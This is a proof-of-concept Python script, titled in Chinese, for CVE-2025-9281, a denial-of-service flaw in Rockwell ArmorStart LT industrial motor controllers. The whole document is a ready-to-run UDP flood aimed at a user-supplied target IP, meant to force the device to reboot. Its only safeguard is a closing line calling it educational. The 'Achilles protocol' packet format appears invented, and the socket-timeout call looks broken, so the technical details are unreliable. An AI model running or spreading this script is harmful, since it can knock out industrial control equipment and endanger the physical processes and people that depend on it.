CVE-2025-9281: Rockwell ArmorStart LT 拒绝服务漏洞

# CVE-2025-9281 PoC - ArmorStart LT DoS # This PoC demonstrates the Achilles Comprehensive step limit storm test # that triggers device reboot on vulnerable ArmorStart LT devices import socket import time import struct def create_achilles_storm_packet(seq_num): """ Create Achilles protocol storm test packet """ # Achilles protocol header header = b'\x00\x01' # Protocol version packet_type = b'\x00\x05' # Step limit test # Sequence number seq = struct.pack('>I', seq_num) # Timestamp timestamp = struct.pack('>Q', int(time.time() * 1000)) # Padding to trigger storm condition padding = b'\xFF' * 1400 packet = header + packet_type + seq + timestamp + padding return packet def send_storm_test(target_ip, target_port=2222, duration=30): """ Send Achilles step limit storm test to trigger DoS """ print(f"[*] Starting Achilles storm test against {target_ip}:{target_port}") print(f"[*] Test duration: {duration} seconds") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDTIMEO, 5) start_time = time.time() packet_count = 0 try: while time.time() - start_time < duration: packet = create_achilles_storm_packet(packet_count) try: sock.sendto(packet, (target_ip, target_port)) packet_count += 1 if packet_count % 100 == 0: print(f"[*] Sent {packet_count} packets...") except Exception as e: print(f"[!] Error sending packet: {e}") time.sleep(0.001) # High rate sending print(f"[+] Test completed. Sent {packet_count} packets.") print(f"[!] Target device should reboot due to DoS vulnerability") except KeyboardInterrupt: print("\n[!] Test interrupted by user") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_9281_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 2222 send_storm_test(target, port) # Note: This PoC is for educational and authorized testing purposes only.